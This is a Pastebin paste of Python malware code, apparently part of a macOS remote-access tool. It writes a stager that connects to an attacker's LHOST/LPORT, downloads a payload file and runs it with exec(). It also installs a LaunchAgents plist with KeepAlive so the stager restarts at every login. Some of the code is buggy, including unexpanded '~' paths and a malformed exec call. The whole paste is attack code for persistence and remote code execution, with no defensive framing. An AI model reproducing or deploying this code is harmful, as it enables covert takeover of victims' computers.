Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- print("Injecting to startup..")
- file = ("LHOST = " + LHOST + "\n LPORT = " + LPORT) + """
- import socket
- import platform
- import time
- import os
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #create a new socket
- s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
- s.connect((LHOST, LPORT))
- s.send("stage".encode())
- time.sleep(0.1)
- s.send("Payloads/MacOS/python/payload.py".encode())
- temp = open("temp.txt", "w")
- l = s.recv(1024)
- temp.write(l.decode())
- s.settimeout(5)
- try:
- while (l):
- l = s.recv(1024)
- temp.write(l.decode())
- except Exception:
- print("Download succecssful")
- temp.close()
- temp = open("temp.txt", "r")
- q = temp.read()
- temp.close()
- print("yes")
- os.remove("temp.txt")
- print("yes")
- exec(q)()
- """
- try:
- os.mkdir("~/LaunchAgents")
- os.mkdir("~/startup")
- pyfile = open("~/startup/startup.py", 'w')
- pyfile.write(file)
- pyfile.close()
- startfile = """
- <?xml version="1.0" encoding="UTF-8"?>
- <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
- <plist version="1.0">
- <dict>
- <key>Label</key>
- <string>Startup</string>
- <key>ProgramArguments</key>
- <array>
- <string>python</string>
- <string>~/startup/startup.py</string>
- </array>
- <key>StandardErrorPath</key>
- <string>/var/log/python_script.error</string>
- <key>KeepAlive</key>
- <true/>
- </dict>
- </plist>
- """
- stertfile = open("~/LaunchAgents/startuppython.plist", "w")
- stertfile.write(startfile)
- stertfile.close()
- except Exception as e:
- send("Could not inject to startup! This was because of: " + str(e)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement